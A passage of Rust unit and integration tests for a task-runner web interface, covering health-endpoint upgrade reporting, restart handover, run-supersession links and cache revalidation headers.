23737            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
23738            assert_eq!(disk_capacity_size(home.path()), Some(5));
23739        }
23740    }
23741
23742    #[tokio::test]
23743    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
23744        // `mode = "off"` for the same reason as the test above: a default
23745        // fixture repo falls back to `mode = "notify"`, which would make this
23746        // route's new `update` field a live, unauthenticated GitHub call on
23747        // every assertion in this suite that happens to hit `/api/health`.
23748        let repo = TempDir::new().expect("repo dir");
23749        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23750            .expect("write magi.toml");
23751        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23752
23753        let health = fx.get("/api/health").await.json();
23754        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
23755        assert_eq!(
23756            health["update"]["available"], false,
23757            "checking is off, which reads as \"unknown\", not \"none\""
23758        );
23759        assert!(health["update"]["to"].is_null());
23760        assert!(
23761            health["upgrade"].is_null(),
23762            "nothing has ever asked this deck to upgrade"
23763        );
23764    }
23765
23766    #[tokio::test]
23767    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
23768        let fx = Fixture::start().await;
23769        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
23770
23771        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23772        progress.parked_run = Some("20260905-000000-cd51".to_owned());
23773        progress.advance(crate::updater::Stage::Parking);
23774        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23775
23776        let health = fx.get("/api/health").await.json();
23777        assert_eq!(health["upgrade"]["stage"], "parking");
23778        assert_eq!(health["upgrade"]["from"], "0.5.1");
23779        assert_eq!(health["upgrade"]["to"], "0.5.2");
23780        let waiting_on = health["upgrade"]["waiting_on"]
23781            .as_str()
23782            .expect("waiting_on is set while parking a known run");
23783        assert!(waiting_on.contains("cd51"), "{waiting_on}");
23784        assert!(waiting_on.contains("implementing"), "{waiting_on}");
23785    }
23786
23787    #[tokio::test]
23788    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
23789        let fx = Fixture::start().await;
23790        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23791        progress.advance(crate::updater::Stage::Done);
23792        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23793
23794        let health = fx.get("/api/health").await.json();
23795        assert_eq!(health["upgrade"]["stage"], "done");
23796        assert!(
23797            health["upgrade"]["waiting_on"].is_null(),
23798            "nothing to wait on once it is done"
23799        );
23800    }
23801
23802    /// The handover signal is seen however the race falls, and wakes its one
23803    /// waiter once per signal - nothing here can spin.
23804    #[tokio::test]
23805    async fn the_handover_signal_wakes_one_waiter_once() {
23806        let signal = Notify::new();
23807        // Signalled before anyone waits: the stored permit is not lost.
23808        signal.notify_one();
23809        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
23810            .await
23811            .expect("an early signal is still seen");
23812        // One signal, one wake-up: a second wait does not resolve by itself.
23813        assert!(
23814            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
23815                .await
23816                .is_err(),
23817            "a consumed signal must not wake a second time"
23818        );
23819        // Signalled while waiting.
23820        let signal = std::sync::Arc::new(signal);
23821        let waiter = tokio::spawn({
23822            let signal = std::sync::Arc::clone(&signal);
23823            async move { wait_for_handover(&signal).await }
23824        });
23825        tokio::time::sleep(Duration::from_millis(20)).await;
23826        assert!(!waiter.is_finished(), "nothing was signalled yet");
23827        signal.notify_one();
23828        tokio::time::timeout(Duration::from_secs(5), waiter)
23829            .await
23830            .expect("a late signal wakes the waiter")
23831            .expect("join");
23832    }
23833
23834    #[tokio::test]
23835    async fn health_says_how_long_a_handover_has_been_stuck() {
23836        let fx = Fixture::start().await;
23837        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23838        progress.advance(crate::updater::Stage::Replaced);
23839        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
23840        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23841
23842        let health = fx.get("/api/health").await.json();
23843        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
23844        assert!(stuck >= 600, "{stuck}");
23845        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
23846        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
23847    }
23848
23849    #[tokio::test]
23850    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
23851        let home = tempfile::tempdir().expect("temp home");
23852        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23853        progress.advance(crate::updater::Stage::Parking);
23854        crate::updater::write_progress(home.path(), &progress).expect("seed");
23855        // What the second upgrade_and_restart and its handler do.
23856        let mut again = progress.clone();
23857        again.advance(crate::updater::Stage::Replaced);
23858        crate::updater::write_progress(home.path(), &again).expect("replaced");
23859        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23860        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
23861        let after = crate::updater::read_progress(home.path()).expect("record");
23862        assert_eq!(after.stage, crate::updater::Stage::Parking);
23863    }
23864
23865    #[tokio::test]
23866    async fn health_does_not_call_a_live_parking_wait_stuck() {
23867        let fx = Fixture::start().await;
23868        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23869        progress.parked_run = Some("20260905-000000-cd51".to_owned());
23870        progress.advance(crate::updater::Stage::Parking);
23871        let hours = Duration::from_secs(3 * 3600);
23872        progress.started_at = Timestamp::now() - hours;
23873        progress.updated_at = Timestamp::now() - hours;
23874        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23875        let _lease = crate::updater::LeaseGuard::enter(
23876            fx.home.path(),
23877            Some("20260905-000000-cd51".to_owned()),
23878        );
23879
23880        let health = fx.get("/api/health").await.json();
23881        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
23882        assert!(health["upgrade"]["stuck_kind"].is_null());
23883        assert_eq!(health["upgrade"]["handover_alive"], true);
23884        let waiting_on = health["upgrade"]["waiting_on"]
23885            .as_str()
23886            .expect("waiting_on");
23887        assert!(waiting_on.contains("cd51"), "{waiting_on}");
23888    }
23889
23890    fn idle_ui(home: &TempDir) -> Ui {
23891        let runs = home.path().join("runs");
23892        std::fs::create_dir_all(&runs).expect("runs dir");
23893        Ui::new(
23894            Queue::at(home.path().join("queue")),
23895            Questions::at(home.path().join("questions")),
23896            Talks::at(home.path().join("talks")),
23897            runs,
23898            home.path().to_path_buf(),
23899            PathBuf::from("/repo/magi"),
23900        )
23901        .with_launch(launch_idle)
23902    }
23903
23904    #[tokio::test]
23905    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
23906        let home = TempDir::new().expect("temp home");
23907        let ui = idle_ui(&home);
23908        let lease = crate::worker::try_lease(home.path(), "scheduler")
23909            .expect("scheduler lease")
23910            .expect("free");
23911        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
23912            .expect("request stop");
23913        let error = ui
23914            .start_detached_loop()
23915            .await
23916            .expect_err("transition is still live");
23917        assert_eq!(error.status, StatusCode::CONFLICT);
23918        assert!(error.message.contains("still running or stopping"));
23919        assert_eq!(
23920            crate::worker::control(home.path(), "scheduler").unwrap(),
23921            Some(crate::worker::Control::Stop)
23922        );
23923        drop(lease);
23924    }
23925
23926    #[tokio::test]
23927    async fn handover_releases_listener_without_waiting_for_execution_leases() {
23928        let home = TempDir::new().expect("temp home");
23929        let ui = idle_ui(&home);
23930        let turns = ui
23931            .begin_talk_turn("active-chat")
23932            .expect("claim")
23933            .expect("free");
23934        let execution = crate::worker::try_lease(home.path(), "active-task")
23935            .expect("execution lease")
23936            .expect("free");
23937        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23938            .await
23939            .expect("bind loopback");
23940        let address = listener.local_addr().expect("address");
23941        let admissions = Arc::clone(&ui.admissions);
23942        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
23943        let successor_started = std::sync::atomic::AtomicBool::new(false);
23944        tokio::time::timeout(
23945            Duration::from_secs(2),
23946            hand_over(home.path(), &admissions, served, || {
23947                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
23948                Ok(1)
23949            }),
23950        )
23951        .await
23952        .expect("restart must not wait for execution")
23953        .expect("handover");
23954        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
23955        // BSD may retain the address briefly after listener release. The real
23956        // successor uses the same bounded bind retry rather than a one-shot bind.
23957        let successor = bind_waiting(address)
23958            .await
23959            .expect("successor binds released address");
23960        assert_eq!(successor.local_addr().unwrap(), address);
23961        assert!(turns.owns(), "the chat lease survives restart");
23962        assert!(
23963            crate::worker::try_lease(home.path(), "active-task")
23964                .unwrap()
23965                .is_none()
23966        );
23967        drop(execution);
23968        drop(turns);
23969    }
23970
23971    #[tokio::test]
23972    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
23973        let home = TempDir::new().expect("temp home");
23974        let ui = idle_ui(&home);
23975        let admission = ui.begin_admission().expect("admit send");
23976        let turn = ui
23977            .begin_talk_turn("active-chat")
23978            .expect("claim")
23979            .expect("free");
23980        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23981            .await
23982            .expect("bind loopback");
23983        let address = listener.local_addr().expect("address");
23984        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
23985        let successor_called = std::sync::atomic::AtomicBool::new(false);
23986        let handover = hand_over(home.path(), &ui.admissions, served, || {
23987            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
23988            Ok(1)
23989        });
23990        tokio::pin!(handover);
23991        // Poll exactly to the writer waiting on our admission guard. This
23992        // pins the race without sleeps or assumptions about task scheduling.
23993        std::future::poll_fn(|cx| {
23994            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
23995            std::task::Poll::Ready(())
23996        })
23997        .await;
23998        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
23999        assert!(
24000            ui.begin_admission().is_err(),
24001            "new ingress cannot race the drain"
24002        );
24003        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
24004        drop(admission);
24005        tokio::time::timeout(Duration::from_secs(2), handover)
24006            .await
24007            .expect("only publication may delay restart")
24008            .expect("handover");
24009        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
24010        assert!(
24011            turn.owns(),
24012            "the detached chat turn is not awaited or cancelled"
24013        );
24014        assert!(
24015            ui.begin_admission().is_err(),
24016            "old accepted connections stay closed"
24017        );
24018        drop(turn);
24019    }
24020
24021    #[test]
24022    fn health_worker_metadata_never_contains_payload_or_result() {
24023        let view = WorkerView::from(crate::worker::Job {
24024            id: "job".into(),
24025            sequence: 1,
24026            kind: "service".into(),
24027            key: "maintenance".into(),
24028            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
24029            generation: "generation".into(),
24030            version: Some("1.2.3".into()),
24031            status: crate::worker::Status::Running,
24032            result: Some("private diagnostics".into()),
24033            pid: Some(4242),
24034            created_at: 1,
24035            finished_at: None,
24036        });
24037        let value = serde_json::to_value(view).expect("serialize public metadata");
24038        assert_eq!(value["version"], "1.2.3");
24039        assert_eq!(value["pid"], 4242);
24040        assert!(value.get("payload").is_none());
24041        assert!(value.get("result").is_none());
24042        assert!(!value.to_string().contains("private"));
24043    }
24044
24045    #[test]
24046    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
24047        let home = TempDir::new().expect("temp home");
24048        let ui = idle_ui(&home);
24049        std::fs::write(
24050            home.path().join("daemon.json"),
24051            serde_json::json!({
24052                "schema": 2, "pid": 4242, "worker_protocol": 1,
24053                "updated_at": Timestamp::now().to_string(), "idle": true,
24054            })
24055            .to_string(),
24056        )
24057        .expect("status");
24058        let reading = daemon::read_status(home.path());
24059        assert!(Foreign::of(reading.as_ref()).is_none());
24060        let view = ui.runtime_loop_view(reading, &[]);
24061        assert!(view.running);
24062        assert!(view.owned);
24063    }
24064
24065    #[test]
24066    fn only_an_explicit_one_requests_a_resume() {
24067        assert!(!resume_requested(None));
24068        assert!(!resume_requested(Some("0".into())));
24069        assert!(!resume_requested(Some("".into())));
24070        assert!(resume_requested(Some("1".into())));
24071    }
24072
24073    #[test]
24074    fn an_error_is_visible_from_where_the_button_is() {
24075        // The alert used to sit in the flow under the header. On a phone
24076        // scrolled 13 500 px down to a run's action sheet that is off screen,
24077        // so tapping Resume and being told "the loop is running run b455
24078        // right now" looked exactly like a button that did nothing.
24079        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
24080            ..APP_CSS.find(".alert-text").expect(".alert-text")];
24081        assert!(
24082            alert.contains("position: fixed"),
24083            "an error about the thing under your thumb has to be visible from \
24084             where your thumb is: {alert}"
24085        );
24086        assert!(
24087            alert.contains("z-index: 25"),
24088            "above the dock (20) and the run-actions FAB (15), so neither \
24089             buries it: {alert}"
24090        );
24091        assert!(
24092            alert.contains("var(--tap)"),
24093            "and clear of the dock and the home indicator: {alert}"
24094        );
24095        // The FAB sits at the same height on the right. An error that covered
24096        // it would hide the button the operator reaches for next.
24097        assert!(
24098            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
24099            "the FAB's column stays free: {alert}"
24100        );
24101    }
24102
24103    #[tokio::test]
24104    async fn an_older_attempt_says_what_replaced_it() {
24105        let fx = Fixture::start().await;
24106        let q = fx.queue();
24107        let runs = fx.runs();
24108        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24109        write_run(&runs, first, RunStatus::Stalled);
24110        write_run(&runs, second, RunStatus::Blocked);
24111
24112        let mut t = Task::new(
24113            "one task".to_owned(),
24114            "do it".to_owned(),
24115            PathBuf::from("/repo"),
24116            Source::Human,
24117        );
24118        t.runs = vec![first.to_owned(), second.to_owned()];
24119        q.put(&mut t).expect("put");
24120
24121        // Two cards with the same title and no hint which is which was the
24122        // question: "why are there two of the same, one stalled and one
24123        // blocked?" The older one now names its replacement.
24124        let rows = fx.get("/api/runs").await.json();
24125        let by = |short: &str| -> Value {
24126            rows.as_array()
24127                .unwrap()
24128                .iter()
24129                .find(|r| r["short"] == short)
24130                .cloned()
24131                .unwrap_or(Value::Null)
24132        };
24133        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
24134        assert!(
24135            by("bbbb")["superseded_by"].is_null(),
24136            "the latest attempt is not superseded by anything"
24137        );
24138        // Front end: the note has to be rendered, not just carried.
24139        assert!(APP_JS.contains("run.superseded_by"));
24140        assert!(APP_JS.contains("Superseded by"));
24141    }
24142
24143    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
24144        let mut t = Task::new(
24145            "one task".to_owned(),
24146            "do it".to_owned(),
24147            PathBuf::from("/repo"),
24148            Source::Human,
24149        );
24150        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
24151        t.status = status;
24152        t
24153    }
24154
24155    #[test]
24156    fn source_link_picks_the_page_that_filed_the_task() {
24157        let agent = |node: &str| Source::Agent {
24158            run: "20260904-014455-ab12".to_owned(),
24159            node: node.to_owned(),
24160        };
24161        let chat = source_link(&agent("chat")).expect("chat link");
24162        assert_eq!(chat.kind, "chat");
24163        assert_eq!(chat.id, "20260904-014455-ab12");
24164        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
24165        let run = source_link(&agent("implement")).expect("run link");
24166        assert_eq!(
24167            (run.kind, run.href.as_str()),
24168            ("run", "#/runs/20260904-014455-ab12")
24169        );
24170        assert_eq!(source_link(&Source::Human), None);
24171        assert_eq!(
24172            source_link(&Source::Issue {
24173                number: 3,
24174                repo: "o/r".to_owned()
24175            }),
24176            None
24177        );
24178        let odd = source_link(&Source::Agent {
24179            run: "a b/c".to_owned(),
24180            node: "chat".to_owned(),
24181        })
24182        .expect("link");
24183        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
24184    }
24185
24186    #[test]
24187    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
24188        assert!(
24189            !APP_JS.contains("src.node === \"chat\""),
24190            "inline href rule is back"
24191        );
24192        assert!(
24193            APP_JS.matches("sourceLinkOf(").count() >= 4,
24194            "helper must serve every page"
24195        );
24196        assert!(
24197            APP_JS.matches("openChatLink(").count() >= 3,
24198            "the run page still needs its explicit chat link"
24199        );
24200        assert!(
24201            !APP_JS.contains("const openChat = el("),
24202            "the Queue card duplicates its source label link again"
24203        );
24204        assert!(
24205            APP_JS.contains("metaKids.push(link ? el(\"a\""),
24206            "the task page must link a chat source label too"
24207        );
24208    }
24209
24210    #[test]
24211    fn task_ref_carries_the_source_link_for_a_chat_task() {
24212        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
24213        t.source = Source::Agent {
24214            run: "20260904-014455-ab12".to_owned(),
24215            node: "chat".to_owned(),
24216        };
24217        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
24218        let v = serde_json::to_value(&out).expect("json");
24219        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
24220        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
24221        assert_eq!(v["source_label"], t.source.label());
24222
24223        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
24224        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
24225            .expect("json");
24226        assert!(v["source_link"].is_null(), "{v}");
24227    }
24228
24229    #[test]
24230    fn task_view_serializes_source_link() {
24231        let mut t = Task::new(
24232            "t".to_owned(),
24233            "t".to_owned(),
24234            PathBuf::from("/repo"),
24235            Source::Agent {
24236                run: "20260901-000000-aaaa".to_owned(),
24237                node: "implement".to_owned(),
24238            },
24239        );
24240        t.runs.clear();
24241        let v = serde_json::to_value(TaskView::from(t)).expect("json");
24242        assert_eq!(v["source_link"]["kind"], "run", "{v}");
24243        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
24244    }
24245
24246    #[test]
24247    fn task_view_serializes_urgent_flag() {
24248        let mut t = Task::new(
24249            "t".to_owned(),
24250            "t".to_owned(),
24251            PathBuf::from("/repo"),
24252            Source::Human,
24253        );
24254        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
24255        assert_eq!(v["urgent"], false, "{v}");
24256        t.urgent = true;
24257        let v = serde_json::to_value(TaskView::from(t)).expect("json");
24258        assert_eq!(v["urgent"], true, "{v}");
24259        assert!(APP_JS.contains("task.urgent === true"));
24260    }
24261
24262    #[tokio::test]
24263    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
24264        let fx = Fixture::start().await;
24265        let runs = fx.runs();
24266        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24267        write_run(&runs, old, RunStatus::Blocked);
24268        write_run(&runs, new, RunStatus::Merged);
24269        let mut t = outcome_task(&[old, new], TaskStatus::Done);
24270        fx.queue().put(&mut t).expect("put");
24271
24272        let view = fx.get(&format!("/api/runs/{old}")).await.json();
24273        let task = &view["task"];
24274        assert_eq!(task["status"], "done");
24275        assert_eq!(task["is_latest"], false);
24276        assert_eq!(task["latest"]["short"], "bbbb");
24277        assert_eq!(task["finished_by"]["id"], new);
24278        assert_eq!(task["finished_by"]["outcome"], "merged");
24279        assert_eq!(task["closed_by_hand"], false);
24280        assert_eq!(view["status"], "blocked", "the run keeps its own status");
24281        assert!(APP_JS.contains("finished_by"));
24282        assert!(APP_JS.contains("superseded by run"));
24283    }
24284
24285    #[tokio::test]
24286    async fn the_latest_run_reports_a_held_task_without_a_successor() {
24287        let fx = Fixture::start().await;
24288        let runs = fx.runs();
24289        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24290        write_run(&runs, old, RunStatus::Stalled);
24291        write_run(&runs, new, RunStatus::Blocked);
24292        let mut t = outcome_task(&[old, new], TaskStatus::Held);
24293        fx.queue().put(&mut t).expect("put");
24294
24295        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
24296        assert_eq!(task["status"], "held");
24297        assert_eq!(task["is_latest"], true);
24298        assert!(task["latest"].is_null());
24299        assert!(task["finished_by"].is_null());
24300        assert_eq!(task["closed_by_hand"], false);
24301    }
24302
24303    #[tokio::test]
24304    async fn a_direct_run_has_no_task_outcome() {
24305        let fx = Fixture::start().await;
24306        let runs = fx.runs();
24307        let id = "20260901-000000-aaaa";
24308        write_run(&runs, id, RunStatus::Blocked);
24309        let view = fx.get(&format!("/api/runs/{id}")).await.json();
24310        assert!(view["task"].is_null());
24311    }
24312
24313    #[test]
24314    fn task_outcome_does_not_guess_a_finishing_run() {
24315        let a = "20260901-000000-aaaa";
24316        let b = "20260901-000000-bbbb";
24317        let c = "20260901-000000-cccc";
24318        let dir = tempfile::tempdir().expect("tempdir");
24319        write_run(dir.path(), a, RunStatus::Blocked);
24320        write_run(dir.path(), b, RunStatus::VerifiedNoop);
24321        // `c` has no record: unreadable.
24322        let read = |id: &str| read_run(dir.path(), id).ok();
24323        // Neither a blocked run nor a no-op finished the task; the newest run is
24324        // unreadable and still named.
24325        let t = outcome_task(&[a, b, c], TaskStatus::Done);
24326        let out = task_outcome(&t, a, 3, read);
24327        assert!(out.finished_by.is_none());
24328        assert!(out.closed_by_hand);
24329        let latest = out.latest.expect("latest");
24330        assert_eq!(latest.id, c);
24331        assert_eq!(latest.status, None);
24332        assert_eq!(latest.outcome, "record unreadable");
24333
24334        // A Ready run settles the task as done, so it is named as the finisher.
24335        write_run(dir.path(), c, RunStatus::Ready);
24336        let t = outcome_task(&[a, c], TaskStatus::Done);
24337        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
24338        assert_eq!(out.finished_by.expect("finisher").id, c);
24339        assert!(!out.closed_by_hand);
24340
24341        // A resumed run id repeats: it is still the latest by id.
24342        let t = outcome_task(&[a, b, a], TaskStatus::Held);
24343        assert!(task_outcome(&t, a, 3, read).is_latest);
24344    }
24345
24346    #[tokio::test]
24347    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
24348        // The list route has known this since the card fix above; the detail
24349        // route — what an operator actually opens from a notification about
24350        // a blocked run — did not, and went on showing a bare red BLOCKED
24351        // chip for a run a retry had already finished.
24352        let fx = Fixture::start().await;
24353        let q = fx.queue();
24354        let runs = fx.runs();
24355        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
24356        write_run(&runs, first, RunStatus::Blocked);
24357        write_run(&runs, second, RunStatus::Merged);
24358
24359        let mut t = Task::new(
24360            "one task".to_owned(),
24361            "do it".to_owned(),
24362            PathBuf::from("/repo"),
24363            Source::Human,
24364        );
24365        t.runs = vec![first.to_owned(), second.to_owned()];
24366        q.put(&mut t).expect("put");
24367
24368        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
24369        assert_eq!(earlier["superseded_by"], "dddd");
24370        assert_eq!(earlier["latest_attempt"]["id"], second);
24371        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
24372        assert_eq!(
24373            earlier["latest_attempt"]["resolved"], true,
24374            "the run that replaced it landed, so this one reads as settled"
24375        );
24376
24377        let later = fx.get(&format!("/api/runs/{second}")).await.json();
24378        assert!(
24379            later["superseded_by"].is_null(),
24380            "the latest attempt is not superseded by anything"
24381        );
24382        assert!(
24383            later["latest_attempt"].is_null(),
24384            "the latest attempt has no later attempt of its own"
24385        );
24386
24387        // Front end: the detail page has to read the field this route now
24388        // carries, downgrade the chip, and link to the run that replaced it —
24389        // not just repeat the list card's own logic under a different name.
24390        // The link is built off `latest_attempt.id`, the server-resolved
24391        // full id, never a bare short string a client would have to guess a
24392        // full run from.
24393        assert!(APP_JS.contains("run.latest_attempt"));
24394        assert!(APP_JS.contains("data-superseded"));
24395        assert!(APP_JS.contains("#/runs/${latest.id}"));
24396    }
24397
24398    #[tokio::test]
24399    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
24400        // A -> B -> C, all Blocked except the last. A's immediate successor
24401        // (superseded_by) is B, which is itself unresolved; what an operator
24402        // opening A's page actually needs is where the task's story stands
24403        // *now* - C, not B - without depending on whether C happens to be in
24404        // whatever page of /api/runs the client last cached.
24405        let fx = Fixture::start().await;
24406        let q = fx.queue();
24407        let runs = fx.runs();
24408        let (a, b, c) = (
24409            "20260901-000000-aaaa",
24410            "20260901-000000-bbbb",
24411            "20260901-000000-cccc",
24412        );
24413        write_run(&runs, a, RunStatus::Blocked);
24414        write_run(&runs, b, RunStatus::Blocked);
24415        write_run(&runs, c, RunStatus::Merged);
24416
24417        let mut t = Task::new(
24418            "retried twice".to_owned(),
24419            "do it".to_owned(),
24420            PathBuf::from("/repo"),
24421            Source::Human,
24422        );
24423        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
24424        q.put(&mut t).expect("put");
24425
24426        let view = fx.get(&format!("/api/runs/{a}")).await.json();
24427        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
24428        assert_eq!(
24429            view["latest_attempt"]["id"], c,
24430            "the chain's current head, not the intermediate Blocked retry"
24431        );
24432        assert_eq!(view["latest_attempt"]["resolved"], true);
24433
24434        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
24435        assert_eq!(mid["latest_attempt"]["id"], c);
24436        assert_eq!(mid["latest_attempt"]["resolved"], true);
24437    }
24438
24439    #[tokio::test]
24440    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
24441        let fx = Fixture::start().await;
24442        let q = fx.queue();
24443        let runs = fx.runs();
24444
24445        // Still Blocked: the task is not resolved, so the older run must not
24446        // read as settled either.
24447        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
24448        write_run(&runs, still_blocked_a, RunStatus::Blocked);
24449        write_run(&runs, still_blocked_b, RunStatus::Blocked);
24450        let mut t1 = Task::new(
24451            "still stuck".to_owned(),
24452            "do it".to_owned(),
24453            PathBuf::from("/repo"),
24454            Source::Human,
24455        );
24456        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
24457        q.put(&mut t1).expect("put");
24458        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
24459        assert_eq!(view1["latest_attempt"]["resolved"], false);
24460        assert_eq!(view1["latest_attempt"]["status"], "blocked");
24461        assert_eq!(view1["latest_attempt"]["done"], true);
24462
24463        // Still running: the successor exists and must be reported as such.
24464        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
24465        write_run(&runs, run_a, RunStatus::Blocked);
24466        write_run(&runs, run_b, RunStatus::Implementing);
24467        let mut t3 = Task::new(
24468            "retrying".to_owned(),
24469            "do it".to_owned(),
24470            PathBuf::from("/repo"),
24471            Source::Human,
24472        );
24473        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
24474        q.put(&mut t3).expect("put");
24475        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
24476        assert_eq!(view3["latest_attempt"]["id"], run_b);
24477        assert_eq!(view3["latest_attempt"]["resolved"], false);
24478        assert_eq!(view3["latest_attempt"]["done"], false);
24479
24480        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
24481        // to check - not a confirmed finish, so this must not read as
24482        // resolved either, even though the run is done in the sense that
24483        // nothing is still running.
24484        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
24485        write_run(&runs, noop_a, RunStatus::Blocked);
24486        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
24487        let mut t2 = Task::new(
24488            "claims done".to_owned(),
24489            "do it".to_owned(),
24490            PathBuf::from("/repo"),
24491            Source::Human,
24492        );
24493        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
24494        q.put(&mut t2).expect("put");
24495        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
24496        assert_eq!(
24497            view2["latest_attempt"]["resolved"], false,
24498            "an unverified no-op claim must not read as a confirmed finish"
24499        );
24500
24501        // Front end: an unresolved successor must not carry the "finished
24502        // this work" note or the muted chip treatment.
24503        assert!(APP_JS.contains("latest.resolved"));
24504        // ...but the link to it shows as soon as it exists, labelled by state
24505        // and without the "finished" wording or the muted chip.
24506        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
24507        assert!(APP_JS.contains("Latest attempt: "));
24508        assert!(APP_JS.contains("in flight"));
24509        assert!(APP_JS.contains("not resolved"));
24510    }
24511
24512    #[tokio::test]
24513    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
24514        let fx = Fixture::start().await;
24515        // No cache header at all meant browsers invented their own policy,
24516        // and one did: a phone went on showing "Candidates must be folded
24517        // before deleting. Run `magi fold` first." - deleted two releases
24518        // earlier - from a deck that no longer contained the sentence. The
24519        // button it named was right there, and unreachable.
24520        let js = fx.get("/app.js").await;
24521        assert_eq!(js.status, 200);
24522        let tag = js
24523            .header("etag")
24524            .expect("an etag to revalidate against")
24525            .to_owned();
24526        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
24527        assert_eq!(
24528            js.header("cache-control"),
24529            Some("no-cache, must-revalidate"),
24530            "the phone has to ask every time"
24531        );
24532
24533        // And the asking has to be cheap, or `must-revalidate` just means
24534        // "send the whole interface on every load".
24535        let again = fx
24536            .get_with("/app.js", &[("if-none-match", tag.as_str())])
24537            .await;
24538        assert_eq!(
24539            again.status, 304,
24540            "a deck it already has costs one round trip"
24541        );
24542        assert!(again.body.is_empty(), "304 carries no body");
24543
24544        // A weakened tag from a proxy still matches; a different build does
24545        // not, which is the case that has to deliver the new interface.
24546        let weak = fx
24547            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
24548            .await;
24549        assert_eq!(weak.status, 304);
24550        let stale = fx
24551            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
24552            .await;
